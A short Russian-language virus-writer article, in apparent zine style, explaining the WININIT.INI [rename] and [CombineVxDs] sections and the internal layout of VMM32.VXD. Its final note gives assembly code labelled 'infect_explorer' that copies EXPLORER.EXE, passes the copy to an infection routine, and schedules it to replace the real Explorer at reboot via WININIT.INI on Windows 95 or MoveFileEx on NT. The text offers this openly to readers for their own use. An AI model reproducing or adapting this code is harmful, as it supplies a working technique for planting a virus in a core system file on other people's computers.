Про WININIT.INI

Перед загрузкой маздая WININIT.EXE обрабатывает WININIT.INI: из секции [rename] считываются соответствующие имена и происходит так называемое "обновление" файлов.

WININIT.INI:
  [rename]
  C:\WINDOWS\OLDFILE.EXE=C:\WINDOWS\NEWFILE.EXE

Требуется подобная фича тогда, когда подлежащий обновлению OLDFILE.EXE является, например, открытым или исполняемым в настоящий момент. (типа EXPLORER.EXE или KERNEL32.DLL)

Но мало кто знает, что кроме [rename] есть еще более убойная вещь, называемая [CombineVxDs]. Найдено оно было случайно при инсталляции win95, и, хотя тестировать такое мне попросту лениво, но это стопроцентно как-то работает.
Итак, вот что я нашел:

WININIT.INI:
  [CombineVxDs]
  C:\WINDOWS\SYSTEM\VMM32\vkd.vxd=C:\WINDOWS\SYSTEM\vmm32.vxd

И действительно, взглянув в WININIT.EXE, я увидел не только rename и CombineVxDs, но и какое-то SetupOptions.

Короче говоря, флаг вам в руки...

ПРИМЕЧАНИЯ

1. Обычный VMM32.VXD представляет из себя следующее:

VMM32.VXD:
  [dos-loader]   ~64k
  формат W4:
  [таблица указателей на VxD-файлы] ~1k
  [запакованные VxD-файлы]

2. Распакованный VMM32.VXD представляет из себя вот что:

VMM32.VXD:
  [dos-loader]   те же самые 64k
  формат W3:
  [таблица указателей на VxD-файлы] ~2k
  [распакованные VxD-файлы] (без MZ-хеадеров)

3. Работа с VMM32.VXD осуществляется утилитой DEVLIB.EXE из DDK\BIN.

   devlib -u vmm32.vxd -- распаковываем
   devlib -d vmm32.vxd -- получаем список VxDей (дамп таблицы указателей)
   devlib -d vmm32.vxd dosmgr -- выдираем dosmgr.vxd (будет без MZ-хеадера)

4. Пример добавления секции [rename] в WININIT.INI:

wininit_ini             db      'C:\WINDOWS\WININIT.INI',0
wininit_section         db      'rename',0
file_exe                db      'C:\WINDOWS\EXPLORER.EXE',0
file_tmp                db      'C:\WINDOWS\EXPLORER.TMP',0

infect_explorer:        push    0
                        push    file_tmp
                        push    file_exe
                        callW   CopyFileA

                        lea     edx, file_tmp
                        call    INFECT_FILE

                        callW   GetVersion
                        shl     eax, 1
                        jnc     __winNT

__win95:                push    offset wininit_ini
                        push    offset file_tmp
                        push    offset file_exe
                        push    offset wininit_section
                        callW   WritePrivateProfileStringA

                        jmp     __exit

__winNT:                push    4 ; DELAY_UNTIL_REBOOT
                        push    0
                        push    offset file_exe
                        callW   MoveFileExA

                        push    4 ; DELAY_UNTIL_REBOOT
                        push    offset file_exe
                        push    offset file_tmp
                        call    MoveFileExA

__exit:                 ret     ; infect_explorer

* * *